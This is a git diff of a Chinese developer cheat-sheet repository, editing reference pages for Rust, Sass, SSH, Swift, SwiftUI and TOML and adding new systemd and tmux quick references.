let mut arr2:[&str; 2] = ["one", "two"];
if let["Apple", _] = arr2{
println!("也适用于 str 数组");
}
```
----
```rust
let tuple_1 = ("India", 7, 90, 90.432);
if let(_, 7, 9, 78.99) = tuple_1{
println!("也适用于元组");
}
let tuple_2 = ( 9, 7, 89, 12, "Okay");
if let(9, 7,89, 12, blank) = tuple_2 {
println!("一切{blank}伴侣?");
}
let tuple_3 = (89, 90, "Yes");
if let(9, 89, "Yes") = tuple_3{
println!("模式确实匹配");
}
else {
println!("模式不匹配");
}
```
### 匹配表达式
<!--rehype:wrap-class=row-span-3-->
```rust
let day_of_week = 2;
match day_of_week {
1 => {
println!("兄弟们今天是星期一");
},
2 => {
println!("兄弟们今天是星期二");
},
3 => {
println!("兄弟们今天是星期三");
},
4 => {
println!("兄弟们今天是星期四");
},
5 => {
println!("兄弟们今天是星期五");
},
6 => {
println!("兄弟们今天是星期六");
},
7 => {
println!("兄弟们今天是星期天");
},
_ => {
println!("默认!")
}
};
}
```
### 嵌套...If 表达式
```rust
let nested_conditions = 89;
if nested_conditions == 89 {
let just_a_value = 98;
if just_a_value >= 97 {
println!("大于 97");
}
}
```
### For 循环
<!--rehype:wrap-class=col-span-2-->
```rust
for mut i in 0..15 {
i-=1;
println!("i 的值为:{i}");
let mut vec = [1, 2, 3];
for v in &mut vec {
*v -= 1;
println!("v 的值为:{v}");
}
```
使用方法 | 等价使用方式 | 所有权
:-|:-:|:-
for item in collection | for item in collection.into_iter() | 转移所有权
for item in &collection | for item in collection.iter() | 不可变借用
for item in &mut collection | for item in collection.iter_mut() | 可变借用
### While 循环
```rust
let mut check = 0;
while check < 11{
println!("check 是:{check}");
check+=1;
check += 1;
println!("递增后:{check}");
if check == 10{
break; // 停止 while
@ -586,7 +688,7 @@ while check < 11{
}
```
### Loop 关键字
### Loop 循环
```rust
loop {
@ -596,19 +698,6 @@ loop {
无限循环表示
### Break 中断语句
```rust
let mut i = 1;
loop {
println!("i 是 {i}");
if i > 100 {
break;
}
i *= 2;
}
```
### Continue 继续声明
```rust
@ -622,118 +711,279 @@ for (v, c) in (0..10+1).enumerate(){
}
```
### Break 中断语句
`break` 可以单独使用,也可以带一个返回值
```rust
let mut i = 1;
let res = loop {
println!("i 是 {i}");
if i > 100 {
break i - 100;
}
i *= 2;
}
println!("{res}"); // 28
```
Rust 模式匹配
--------
### match
<!--rehype:wrap-class=row-span-2-->
match 模式匹配,使用 `a | b` 表示匹配 a **或** b使用 `_`,表示匹配剩余所有选项
```rust
fn main(){
let grade = Grade::A;
match grade {
Grade::A => println!("Good"),
Grade::B => println!("Not bad"),
Grade::C | Grade::D => println!("Come on"),
_ => println!("emmm"),
}
}
enum Grade {
A,
B,
C,
D,
E,
F,
}
```
#### `matches!` 宏
它可以将一个表达式跟模式进行匹配,然后返回匹配的结果 `true` 或 `false`
```rust
assert!(matches!('x' ',A'..='Z' | 'a'..='z'));
assert!(matches!(Some(101), Some(x) if x > 100));
```
### if let 匹配
match 表达式需要匹配所有的枚举才能结束,但通常我们只需要匹配我们需要的值
```rust
let x = 3;
match Some(x) {
Some(3) => println!("I guess that x is 3"),
_ => ()
}
```
使用 `if let`
```rust
let x = 3;
if let Some(3) = Some(x) {
println!("I guess that x is 3");
}
```
### while let
```rust
let mut stack = vec![];
stack.push(1);
stack.push(2);
stack.push(3);
while let Some(top) = stack.pop() {
println!("{}", top);
}
```
### 其它模式匹配
#### for 循环迭代器
```rust
for (i, v) in collection.iter().enumerate(){}
```
#### let
```rust
let (x, _, y) = (1, 2, 3);
println!("{x},{y}");
```
### 函数中的模式匹配
```rust
fn add((x, y): (i32, i32)) -> i32 {
x + y
}
fn main(){
let sum = add(1, 2);
println!("{sum}");
}
```
### 忽略参数
<!--rehype:wrap-class=row-span-2-->
#### 使用 `..` 忽略剩余参数
```rust
struct Point {
x: i32,
y: i32,
z: i32,
}
let origin = Point { x: 0, y: 0, z: 0 };
match origin {
Point { x, .. } => println!("x is {}", x),
}
```
#### 使用 `_` 忽略部分参数
```rust
let hello = ('h', 'e', 'l', 'l', 'o');
match hello {
(h, _, _, l, o) => {
println!("char: {}, {}, {}", h, l, o)
},
}
```
### 匹配命名变量
以下代码,只要给定的 x 是 Some 类型,但 Some 中的值不是 1都会匹配到 y
```rust
let x = Some(10);
match x {
Some(1) => println!("x = 1"),
Some(y) => println!("y = {:?}", y),
_ => println!("None"),
}// y = 10
```
### `@` 绑定
<!--rehype:wrap-class=row-span-2-->
`@` 运算符允许为一个字段绑定另外一个变量。
```rust
let grade = 'A';
match grade {
good @ 'A'..='C' => println!("your grade is {}", good),
_ => println!("Come on"),
}
```
----
```rust
#[derive(Debug)]
struct Point {
x: i32,
y: i32,
}
fn main(){
let p @ Point {x: px, y: py } = Point {x: 10, y: 23};
println!("x: {}, y: {}", px, py);
println!("{:?}", p);
}
```
----
如果使用 `|`,需要使用 `()`,进行多个模式的绑定
```rust
match 1 {
num @ (1 | 2) => {
println!("{}", num);
}
_ => {}
}
```
### 使用匹配守卫
```rust
let x = Some(2);
match x {
Some(1) => println!("x = 1"),
Some(y) if y == 2 => println!("y = {:?}", y),
_ => println!("No match"),
}// y = 2
```
Rust 函数
--------
### 基本函数
### 函数命名
rust 的函数使用蛇形命名法snake case
```rust
fn print_message(){
println!("Hello, Quick Reference!");
}
fn main(){
// 在 Rust 中调用函数
print_message();
}
```
### 按值传递
### 参数值
rust 需要为函数的参数标明确定的类型
```rust
fn main()
{
let x:u32 = 10;
let y:u32 = 20;
// => 200
println!("计算: {}", cal_rect(x, y));
fn another_fn(a:u8, b: &str){
println!("我是 u8:{}", a);
println!("我是 &str:{}", b);
}
fn cal_rect(x:u32, y:u32) -> u32
{
x * y
fn main(){
another_fn(10, "hello")
}
```
### 通过引用传递
### 返回值
如果不指定返回值rust 默认返回 `()` 类型
```rust
fn main(){
let mut by_ref = 3; // => 3
power_of_three(&mut by_ref);
println!("{by_ref}"); // => 9
}
fn power_of_three(by_ref: &mut i32){
// 取消引用很重要
*by_ref = *by_ref * *by_ref;
println!("{by_ref}"); // => 9
}
// 在 bin 中的入口函数默认返回 ()
fn main(){}
```
### 返回
----
使用 `->` 指定返回值,如果**表达式**在最后一行,无需使用 return
```rust
fn main(){
let (mut radius, mut pi) = (3.0, 3.14);
let(area, _perimeter) = calculate (
&mut radius,
&mut pi
);
println!("圆的面积和周长为:{area} & {_perimeter}");
}
fn calculate(radius : &mut f64, pi: &mut f64) -> (f64, f64){
let perimeter = 2.0 * *pi * *radius;
let area = *pi * *radius * *radius;
return (area, perimeter);
fn add(a:i32, b:i32) -> i32 {
if a + b < 100 {
return a - b;
}
a + b
}
```
### 永不返回 `!`
```rust
fn dead_end() -> ! {
panic!("panic!!!!!");
}
```
<!--rehype:className=wrap-text -->
### 数组作为参数
```rust
fn main(){
let mut array: [i32 ; 5] = [1,2,3,4,6];
print_arrays(array);
println!("元素:{array:?}");
}
fn print_arrays(mut array:[i32; 5]) {
array[0] = 89;
array[1] = 90;
array[2] = 91;
array[3] = 92;
array[4] = 93;
println!("元素:{array:?}");
}
```
### 返回数组
```rust
fn main(){
let mut arr:[i32; 5] = [2,4,6,8,10];
multiply(arr);
println!("数组是:{:?}", multiply(arr));
}
fn multiply (mut arr: [i32 ; 5]) -> [i32 ; 5]{
arr[2] = 90;
for mut i in 0..5 {
arr[i] = arr[i] * arr[2];
}
return arr;
}
```
<!--rehype:className=wrap-text -->
### 泛型函数
```rust
use std::fmt::Debug;
fn foo<T>(x: &[T]) where T: Debug {
// 省略细节
}
foo(&[1, 2]);
```
杂项
-----
@ -744,7 +994,9 @@ let a_int = 90; // int
// int 到 float
let mut type_cast = (a_int as f64);
```
------
----
```rust
let orginal: char = 'I';
// char 到 int => 73
@ -760,7 +1012,9 @@ let mut foo = 4;
let mut borrowed_foo = &foo;
println!("{borrowed_foo}");
```
------
----
```rust
let mut bar = 3;
let mut mutable_borrowed_bar = &mut bar;
@ -769,7 +1023,7 @@ println!("{mutable_borrowed_bar}");
这里借用的值使用 `&` 运算符从值一中借用值
### 取消引用
### 引用
```rust
let mut borrow = 10;
@ -777,9 +1031,9 @@ let deref = &mut borrow;
println!("{}", *deref);
```
可以使用 `*` 操作符在 rust 中取消引用
`*` 操作符用于解引用
### 变量范围
### 作用域
```rust
{
@ -789,8 +1043,7 @@ println!("{}", *deref);
println!("{a_number}");
```
这将产生错误,因为变量 `a_number`范围在大括号处结束
这将产生错误,因为变量 `a_number` 的生命周期在大括号处结束
另见
--------
@ -804,4 +1057,4 @@ println!("{a_number}");
- [Rust By Example 中文版](https://jaywcjlove.github.io/rust-cn-document-for-docker/rust-by-example-cn/) _(jaywcjlove.github.io)_
- [Rust 参考手册中文版](https://jaywcjlove.github.io/rust-cn-document-for-docker/reference/) _(jaywcjlove.github.io)_
- [RustDoc 手册中文版](https://jaywcjlove.github.io/rust-cn-document-for-docker/rustdoc/) _(jaywcjlove.github.io)_
- [Rust Cookbook 中文版](https://jaywcjlove.github.io/rust-cn-document-for-docker/rust-cookbook/) _(jaywcjlove.github.io)_
- [Rust Cookbook 中文版](https://jaywcjlove.github.io/rust-cn-document-for-docker/rust-cookbook/) _(jaywcjlove.github.io)_

View File

@ -156,7 +156,6 @@ h1 {
Sass 混合(Mixins)
------
### 参数
```scss
@ -264,7 +263,7 @@ green($color)
blue($color)
```
---
----
:- | :-
:- | :-
@ -617,4 +616,4 @@ map-get($map, key1)
----
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_

View File

@ -30,7 +30,6 @@ $ screen -ls
$ screen -r <name/pid>
```
### 选项
<!--rehype:wrap-class=col-span-2-->
@ -45,7 +44,6 @@ $ screen -r <name/pid>
`-X` | screen -X -S debug kill | 终止正在运行的会话
<!--rehype:className=show-header-->
### 进入
Command | Description
@ -108,7 +106,6 @@ Command | Description
`Ctrl-A` `H` | 在屏幕会话中启用日志记录
<!--rehype:className=shortcuts-->
### 分屏
Command | Description
@ -121,7 +118,6 @@ Command | Description
`Ctrl-A` `Q` | 删除除当前区域之外的所有区域
<!--rehype:className=shortcuts-->
### 滚动
Command | Description
@ -138,4 +134,4 @@ Command | Description
```shell
$ ssh -t user@host screen -x <name/pid>
```
```

View File

@ -71,8 +71,8 @@ Sed 命令
### 命令
<!--rehype:wrap-class=col-span-2-->
命令 | 示例 | 描述
:- | :- |:-
命令 | 示例 | 描述
:- | :- |:-
`p` | sed -n '1,4 p' input.txt | 打印第 1-4 行
`p` | sed -n -e '1,4 p' -e '6,7 p' input.txt | 打印第 1-4 行和第 6-7 行
`d` | sed '1,4 d' input.txt | 打印除 1-4 之外的行
@ -83,8 +83,8 @@ Sed 命令
### 空间命令
命令 | 描述
:- | :-
命令 | 描述
:- | :-
`n` | 打印模式空间,空模式空间,读取下一行
`x` | 用保持空间交换模式空间
`h` | 复制模式空间以保持空间
@ -99,7 +99,7 @@ $ sed 's/old/new/[flags]' [input-file]
```
---
| Flag | Description |
|----------|--------------------------------------------|
| `g` | 全球替代 |
@ -109,7 +109,6 @@ $ sed 's/old/new/[flags]' [input-file]
| `I` | 搜索时忽略大小写 |
| `e` | 在命令行中替换并执行 |
### 循环命令
| Command | Description |

View File

@ -75,9 +75,9 @@ Semver 备忘清单
| `1.2 - 2.3.0` | 是 `1.2.0 - 2.3.0` |
<!--rehype:className=shortcuts-->
当右侧为部分(例如,`2.3`)时,假定缺失的部分为`x`(例如,` 2.3.x`)。
当右侧为部分(例如,`2.3`)时,假定缺失的部分为`x`(例如,`2.3.x`)。
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,` 1.2.0`)。
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,`1.2.0`)。
### 有效的语义版本
<!--rehype:wrap-class=row-span-4-->
@ -142,9 +142,8 @@ Semver 备忘清单
1.1.2-prerelease+meta
```
另见
----
- [语义化版本号验证正则表达式,支持按编号提取的语言](https://regex101.com/r/vkijKf/1/)
- [语义化版本号验证正则表达式,支持按组名称提取的语言](https://regex101.com/r/Ly7O1x/3/)
- [语义化版本号验证正则表达式,支持按组名称提取的语言](https://regex101.com/r/Ly7O1x/3/)

View File

@ -22,7 +22,6 @@ Sketch 备忘清单
| `t` | (Text) 文本 |
<!--rehype:className=shortcuts-->
### 类型
<!--rehype:wrap-class=row-span-2-->
@ -131,8 +130,7 @@ Sketch 备忘清单
| `Fn + ↓` | 选择下面的页面 |
<!--rehype:className=shortcuts-->
另见
----
- [Sketch 官网](https://www.sketch.com/) _(sketch.com)_
- [Sketch 官网](https://www.sketch.com/) _(sketch.com)_

View File

@ -99,7 +99,6 @@ $ scp user@server:/dir/* .
`~/.ssh/known_hosts` | 登录主机
`~/.ssh/authorized_keys` | 授权登录密钥
### SCP 选项
选项 | 说明
@ -111,7 +110,6 @@ scp `-P` 8080 | 使用特定端口
scp `-B` | 批处理模式_防止密码_
scp `-p` | 保留时间和模式
### 配置示例
```toml
@ -148,7 +146,6 @@ $ ssh -J user@proxy_host1:port1,user@proxy_host2:port2 user@remote_host3
```
<!--rehype:className=wrap-text -->
### ssh-copy-id
```shell
@ -229,7 +226,6 @@ $ ssh-keygen -p -f ~/.ssh/id_rsa
- dsa
- ecdsa
### known_hosts
<!--rehype:wrap-class=col-span-2-->
@ -247,11 +243,11 @@ $ ssh-keygen -R <ip/hostname>
### 密钥格式
- PEM
- PEM
- PKCS8
另见
--------
- [OpenSSH 配置文件示例](https://www.cyberciti.biz/faq/create-ssh-config-file-on-linux-unix/) _(cyberciti.biz)_
- [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_
- [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_

View File

@ -3,7 +3,6 @@ styled-components 备忘清单
此快速参考备忘单提供了使用 CSS in JS 工具的各种方法。
入门
----
@ -29,6 +28,7 @@ import styled from 'styled-components';
```
创建一个 Title 组件
```jsx
// 该组件将呈现具有样式的 <h1> 标签
const Title = styled.h1`
@ -236,7 +236,6 @@ const Demo = () => (
);
```
### 样式对象
```jsx {2,5}
@ -1107,4 +1106,4 @@ const Example = () => (
Drag Me!
</Comp>
);
```
```

View File

@ -84,6 +84,7 @@ h5 {
}
```
<!-- markdownlint-disable MD051 -->
另见:下面[Mixins](#混合-Mixins)
### 变量 Variables
@ -388,6 +389,7 @@ for i in 1..3
.text-{i}
font-size: lookup('font-size-' + i)
```
### 定义检查
```stylus {1}

View File

@ -58,7 +58,7 @@ Sublime Text 备忘清单
`⌃` | Control
`⌥` | Option(alt)
`⇧` | Shift
`⇪` | Caps Lock(大写)
`⇪` | Caps Lock(大写)
`fn` | 功能键就是fn
`↩︎` | return/Enter
<!--rehype:className=shortcuts-->
@ -79,9 +79,9 @@ Sublime Text 备忘清单
快捷键 | 说明
:- | -
`⌘ P` | 去任何地方
`⌘ G` | 转到行号
`⌘ R` | 转到符号
`⌘ P` | 去任何地方
`⌘ G` | 转到行号
`⌘ R` | 转到符号
`⌘ P, :` | 转到行号(`:`之后输入数字)
`⌘ P, #` | 转到并列出字符串模糊匹配(`#`之后输入字符)
`⌘ P, @` | 转到并列出符号(`@`之后开始输入符号名称)
@ -147,4 +147,4 @@ $ subl README.md
----
- [Sublime Text 官网](https://www.sublimetext.com/) _(sublimetext.com)_
- [Sublime 编辑器快捷键](https://jaywcjlove.github.io/handbook/Shortcuts/sublime.html) _(jaywcjlove.github.io)_
- [Sublime 编辑器快捷键](https://jaywcjlove.github.io/handbook/Shortcuts/sublime.html) _(jaywcjlove.github.io)_

View File

@ -34,11 +34,11 @@ var price: Double = 8.99
### 算术运算符
<!--rehype:wrap-class=row-span-3-->
- `+` 添加
- `-` 减法
- `*` 乘法
- `/` 分配
- `%` 余数
- `+` 添加
- `-` 减法
- `*` 乘法
- `/` 分配
- `%` 余数
<!--rehype:className=cols-5 style-none-->
----
@ -444,7 +444,7 @@ switch num {
// 打印: 7 奇数
```
### 逻辑运算符
### 逻辑运算符
```swift
!true // false
@ -480,6 +480,7 @@ false || false // false
```swift
false || true && false // false
```
`true && false` 首先计算返回 `false` 然后,表达式,`false` || `false` 评估并返回最终结果 `false`
### 控制执行顺序
@ -1431,9 +1432,9 @@ enum Dessert {
let customerOrder: Dessert = .cake(flavor: "红色天鹅绒")
switch customerOrder {
case let .cake(flavor):
print("你点了一个 \(flavor) 蛋糕")
print("你点了一个 \(flavor) 蛋糕")
case .brownie:
print("你点了一块巧克力蛋糕")
print("你点了一块巧克力蛋糕")
}
// 打印: "你点了一个红色天鹅绒蛋糕"
```
@ -1521,7 +1522,7 @@ enum ShirtSize: String {
case medium = "M"
case large = "L"
case extraLarge = "XL"
var description: String {
var description: String {
return "这件衬衫尺码是 \(self.rawValue)"
}
}
@ -1534,4 +1535,4 @@ enum ShirtSize: String {
- [快速编程语言(官方)](https://docs.swift.org/swift-book/) _(swift.or)_
- [Learn Swift](https://www.codecademy.com/resources/cheatsheets/language/swift) _(codecademy.com)_
- [Swift 开发人员的一站式快速参考](https://swiftly.dev/) _(swiftly.dev)_
- [Swift 入门教程、读书笔记](https://jaywcjlove.github.io/swift-tutorial) _(jaywcjlove.github.io)_
- [Swift 入门教程、读书笔记](https://jaywcjlove.github.io/swift-tutorial) _(jaywcjlove.github.io)_

View File

@ -53,7 +53,7 @@ struct AlbumDetail: View {
- [Picker](#picker-选择控件) _(UISegmentedControl)_
- [Stepper](#stepper-执行语义递增和递减操作的控件) _(UIStepper)_
- [DatePicker](#datepicker-日期控件) _(UIDatePicker)_
- [Text](#text-文本) _(NSAttributedString)无等效项)_
- [Text](#text) _(NSAttributedString)无等效项)_
- [Map](#map-地图界面的视图) _(MapKit)_
- [ProgressView](#progressview-进度视图) _(UIProgressView)_
- [Shape](#shape) / [Rectangle](#shape) / [Circle](#shape)
@ -230,7 +230,6 @@ Map(coordinateRegion: $region,
文档 - [Map](https://developer.apple.com/documentation/mapkit/map)
Layout(布局)
----
@ -620,7 +619,6 @@ DatePicker("Maximum Date", selection: $selectedDate,
文档 - [DatePicker](https://developer.apple.com/documentation/swiftui/datepicker)
### Slider 滑动输入条
用于从值的有界线性范围中选择一个值的控件。
@ -673,6 +671,7 @@ NavigationView {
}
}
```
您可以使用 `.pickerStyle(WheelPickerStyle())` 覆盖样式。
```swift
@ -1200,10 +1199,9 @@ struct SheetDetail: Identifiable {
文档 - [ActionSheet](https://developer.apple.com/documentation/swiftui/actionsheet)
另见
---
- [SwiftUI 2.0 Cheat Sheet](https://github.com/SimpleBoilerplates/SwiftUI-Cheat-Sheet) _(github.com)_
- [SwiftUI 2.0 备忘清单](https://wangchujiang.com/swiftui-example/cheat-sheet.html) _(swiftui-example)_
- [Swift 备忘清单](./swift.mdl) _(jaywcjlove.github.io)_
- [Swift 备忘清单](./swift.mdl) _(jaywcjlove.github.io)_

110
docs/systemd.md Normal file
View File

@ -0,0 +1,110 @@
Systemd
===
最常用的 [Systemd](https://systemd.io/) 命令备忘单快速参考
命令
----
### 查看系统信息
:- | -
:- | -
`systemctl list-dependencies` | 显示单元的依赖关系
`systemctl list-sockets` | 列出套接字和激活的内容
`systemctl list-jobs` | 查看活动的 systemd 作业
`systemctl list-unit-files` | 查看单元文件及其状态
`systemctl list-units` | 显示单位是否已加载/活动
`systemctl get-default` | 列出默认目标(如运行级别)
<!--rehype:className=style-list-->
### 改变系统状态
:- | -
:- | -
`systemctl reboot` | 重启系统(reboot.target)
`systemctl poweroff` | 关闭系统(poweroff.target)
`systemctl emergency` | 进入紧急模式(emergency.target)
`systemctl default` | 返回默认目标(multi-user.target)
<!--rehype:className=style-list-->
### 使用服务
<!--rehype:wrap-class=row-span-2-->
:- | -
:- | -
`systemctl stop service` | <red>停止</red>正在运行的服务
`systemctl start service` | 启动服务
`systemctl restart service` | 重新启动正在运行的服务
`systemctl reload service` | 重新加载服务中的所有配置文件
`systemctl daemon-reload` | 必须运行以重新加载更改的单元文件
`systemctl status` | service 查看服务是否正在运行/启用
`systemctl --failed` | 显示未能运行的服务
`systemctl reset-failed` | 将任何单位从失败状态重置
`systemctl enable service` | 使服务在启动时启动
`systemctl disable service` | 禁用服务 - 不会在启动时启动
`systemctl show service` | 显示服务(或其他单元)的属性
`systemctl edit service` | 创建片段以放入单元文件
`systemctl edit --full service` | 编辑整个单元文件以进行服务
`systemctl -H host status network` | 远程运行任何 systemctl 命令
<!--rehype:className=style-list-->
### 查看日志消息
<!--rehype:wrap-class=col-span-2-->
:- | -
:- | -
`journalctl` | 显示所有收集的日志消息
`journalctl -u network.service` | 查看网络服务消息
`journalctl -f` | 关注出现的消息
`journalctl -k` | 仅显示内核消息
### SysVinit 到 Systemd
<!--rehype:wrap-class=col-span-3-->
SysVinit | Systemd | 说明
:- | - | -
`service SERVICE_NAME start` | `systemctl start SERVICE_NAME` | 用于启动服务(不重启持久)
`service SERVICE_NAME stop` | `systemctl stop SERVICE_NAME` | 用于停止服务(不永久重启)
`service SERVICE_NAME restart` | `systemctl restart SERVICE_NAME` | 用于停止然后启动服务
`service SERVICE_NAME reload` | `systemctl reload SERVICE_NAME` | 重新加载配置文件而不中断挂起的操作
`service SERVICE_NAME condrestart` | `systemctl condrestart SERVICE_NAME` | 如果服务已在运行,则重新启动
`service SERVICE_NAME status` | `systemctl status SERVICE_NAME` | 判断服务当前是否正在运行
`chkconfig SERVICE_NAME on` | `systemctl enable SERVICE_NAME` | 打开服务,以便在下次启动时启动,或其他触发器
`chkconfig SERVICE_NAME off` | `systemctl disable SERVICE_NAME` | 为下次重新启动或任何其他触发器关闭服务
`chkconfig SERVICE_NAME` | `systemctl is-enabled SERVICE_NAME` | 用于检查服务是否配置为在当前环境中启动
`chkconfig list` | `systemctl list-unit-files type=service` (or) <br/>`ls /etc/systemd/system/*.wants/` | 打印一个服务表,列出每个配置的运行级别打开或关闭
`chkconfig list \| grep 5:on` | `systemctl list-dependencies graphical.target` | 打印启动到图形模式时将启动的服务表
`chkconfig SERVICE_NAME list` | `ls /etc/systemd/system/*.wants/SERVICE_NAME.service` | 用于列出此服务配置为打开或关闭的级别
`chkconfig SERVICE_NAME add` | `systemctl daemon-reload` | 在创建新服务文件或修改任何配置时使用
<!--rehype:className=show-header-->
### 目标运行级别
<!--rehype:wrap-class=col-span-3-->
SysVinit | Systemd | 说明
:- | - | -
`0` | `runlevel0.target`, `poweroff.target` | 停止系统
`1`, `s`, `single` | `runlevel1.target`, `rescue.target` | 单用户模式
`2`, `4` | `runlevel2.target`, `runlevel4.target`, `multi-user.target` | 用户定义/站点特定的运行级别。 默认情况下,与 3 相同
`3` | `runlevel3.target`, `multi-user.target` | 多用户,非图形。 用户通常可以通过多个控制台或通过网络登录
`5` | `runlevel5.target`, `graphical.target` | 多用户,图形。 通常具有运行级别 3 的所有服务以及图形登录
`6` | `runlevel6.target`, `reboot.target` | 重启
`emergency` | `emergency.target` | 应急外壳
<!--rehype:className=show-header-->
### 更改运行级别
<!--rehype:wrap-class=col-span-3-->
SysVinit | Systemd | 说明
:- | - | -
`telinit 3` | `systemctl isolate multi-user.target` <br/>OR `systemctl isolate runlevel3.target`<br/>OR `telinit 3` | 更改为多用户运行级别
`sed s/^id:.*:initdefault:/id:3:initdefault:/` | `ln -sf /lib/systemd/system/multi-user.target /etc/systemd/system/default.target` | 设置为在下次重新启动时使用多用户运行级别
<!--rehype:className=show-header-->
另见
---
- [Systemd 官网](https://systemd.io/) _(systemd.io)_
- [Systemd Cheat Sheet](https://access.redhat.com/sites/default/files/attachments/12052018_systemd_6.pdf) _(access.redhat.com)_
- [Systemd Cheat Sheet](https://www.linuxtrainingacademy.com/systemd-cheat-sheet/) _(linuxtrainingacademy.com)_

243
docs/tmux.md Normal file
View File

@ -0,0 +1,243 @@
Tmux 备忘清单
===
最常用的快捷键和命令的 tmux 备忘单快速参考
Tmux CLI
-------
### 新会话
<!--rehype:wrap-class=row-span-2-->
开始一个新的会话
```bash
$ tmux
$ tmux new
$ tmux new-session
:new
```
开始一个名为 myname 的新会话
```bash
$ tmux new -s myname
:new -s myname
```
显示所有会话,或者 <kbd>Ctrl</kbd> + <kbd>b</kbd> + <kbd>s</kbd> 快捷键
```bash
$ tmux ls
$ tmux list-sessions
```
### 附加会话
<!--rehype:wrap-class=row-span-2-->
附加到上一个会话
```bash
$ tmux a
$ tmux at
$ tmux attach
$ tmux attach-session
```
附加到命名
```bash
$ tmux a -t myname
```
附加到名为 myname 的会话
```bash
$ tmux a -t myname
$ tmux at -t myname
$ tmux attach -t myname
$ tmux attach-session -t myname
```
### 终止会话
按名称终止会话
```bash
$ tmux kill-ses -t myname # 杀死/删除会话
$ tmux kill-session -t myname
```
杀死/删除除当前会话之外的所有会话
```bash
$ tmux kill-ses -a
```
杀死/删除除 myname 之外的所有会话
```bash
$ tmux kill-ses -a -t myname
```
### Tmux 帮助
```bash
$ tmux info
```
### 配置
重新加载配置
```bash
$ tmux source-file ~/.tmu­x.conf
```
显示配置
```bash
$ tmux show-options -g
```
### 复制模式
命令 | 描述
:- | -
`Ctrl+b` `[` | 进入复制模式
`<Space>` | 开始选择
`Enter` | 复制选择
`q` | 退出复制模式
`Ctrl+b` `]` | 粘贴 buffer_0 的内容
<!--rehype:className=shortcuts-->
主要作用类似于在 [Vim](./vim.md#动作) 中选择文本
Tmux 快捷键
----------
### 入门
<!--rehype:style=background:rgb(245 158 11/1);-->
快捷键/命令 | 描述
:- | -
| `Ctrl+b` `?` | List all shortcuts |
<!--rehype:className=shortcuts show-header-->
----
显示每个会话、窗口、窗格等
```bash
$ tmux info
```
### 窗格(拆分)
<!--rehype:wrap-class=row-span-2-->
快捷键/命令 | 描述
:- | -
`Ctrl+b` `"` _/_ `%` | 水平分割/垂直
`Ctrl+b` `!` | 窗格 -> 窗口
`Ctrl+b` `x` | 杀死窗格
`Ctrl+b` \<Arrow> | 导航窗格
`Ctrl+b` \<Space> | 切换布局
`Ctrl+b` `{` _/_ `}` | 向左/向右移动
`Ctrl+b` `o` | 转到下一个窗格
`Ctrl+b` `z` | 切换全屏
`Ctrl+b` `;` | 切换最后一个窗格
`Ctrl+b` `q` | 显示号码
`Ctrl+b` `q` `0`...`9` | 转到 # 窗格
<!--rehype:className=shortcuts-->
### Window (Tabs)
<!--rehype:wrap-class=row-span-2-->
快捷键/命令 | 描述
:- | -
`Ctrl+b` `c` | 创建窗口
`Ctrl+b` `p` _/_ `n` | 上一个/下一个窗口
`Ctrl+b` `"` _/_ `%` | 水平分割/垂直
`Ctrl+b` `w` | 列表窗口
`Ctrl+b` `,` | 重命名窗口
`Ctrl+b` `f` | 查找窗口
`Ctrl+b` `l` | 最后一个窗口
`Ctrl+b` `.` | 移动窗口
`Ctrl+b` `&` | 关闭窗口
`Ctrl+b` `0`...`9` | 转到#窗口
<!--rehype:className=shortcuts-->
### 会话Windows 组)
快捷键/命令 | 描述
:- | -
`Ctrl+b` `d` | <red>从会话中分离</red>
`Ctrl+b` `s` | 显示所有会话
`Ctrl+b` `$` | 重命名会话
`Ctrl+b` `(` _/_ `)` | 上一届/下一届
<!--rehype:className=shortcuts-->
Tmux 命令模式
-----------
### 用法
<!--rehype:style=background:rgb(245 158 11/1);-->
快捷键/命令 | 描述
:- | -
`Ctrl+b` `:` | 进入命令模式
<!--rehype:className=shortcuts-->
### 调整大小
快捷键/命令 | 描述
:- | -
`resize-pane -D 20` | 缩小尺寸
`resize-pane -U 20` | 调整大小
`resize-pane -L 20` | 向左调整大小
`resize-pane -R 20` | 向右调整大小
### 清单
快捷键/命令 | 描述
:- | -
`list-keys` | 所有命令
`list-panes` | 所有窗格
`list-windows` | 所有窗口
### 复印
快捷键/命令 | 描述
:- | -
`list-buffers` | 列出所有缓冲区
`show-buffer` | 显示 #0 内容
`capture-pane` | 窗格的副本
`choose-buffer` | 显示和粘贴
`save-buffer a.txt` | 保存到文件
`delete-buffer -b 1` | 删除缓冲区 1
### 环境
快捷键/命令 | 描述
:- | -
`set -g OPTION` | 为所有会话设置
`setw -g OPTION` | 为所有窗口设置
`setw -g mode-keys vi` | 启用 vi 模式
`set -g prefix C-a` | 设置前缀
### 杂项
快捷键/命令 | 描述
:- | -
`swap-pane -s 3 -t 1` | 交换窗格
`swap-window -t -1` | 向左移动
`setw synchronize-panes` | 同步窗格
`join-pane -t :#` | 加入窗格
另见
---
- [Tmux 开源仓库](https://github.com/tmux/tmux) _(github.com)_
- [Tmux Cheat Sheet & Quick Reference](https://tmuxcheatsheet.com/) _(tmuxcheatsheet.com)_

View File

@ -44,7 +44,6 @@ int3 = -21
integerRange = 64
```
### 浮点数
```toml
@ -80,7 +79,7 @@ str2 = "You can \"quote\" me."
str3 = "Name\tJos\u00E9\nLoc\tSF."
```
See: [Strings](#toml-strings)
See: [Strings](#字符串)
### Table
@ -165,9 +164,9 @@ bar = 2
```toml
[table1]
foo = "bar"
foo = "bar"
[table1.nested_table]
baz = "bat"
baz = "bat"
```
### 类数组
@ -186,16 +185,16 @@ text = "Love it!"
```json
{
"comments" : [
{
"author" : "Nate",
"text" : "Great Article!"
},
{
"author" : "Anonymous",
"text" : "Love It!"
}
]
"comments" : [
{
"author" : "Nate",
"text" : "Great Article!"
},
{
"author" : "Anonymous",
"text" : "Love It!"
}
]
}
```
@ -224,17 +223,18 @@ type = "pug"
[foo.bar.baz]
bat = "hi"
```
#### ↓ 等效的 JSON
```json
{
"foo" : {
"bar" : {
"baz" : {
"bat" : "hi"
}
}
}
"foo" : {
"bar" : {
"baz" : {
"bat" : "hi"
}
}
}
}
```
@ -247,10 +247,10 @@ bat = "hi"
[ j . "ʞ" .'l' ] # same as [j."ʞ".'l']
```
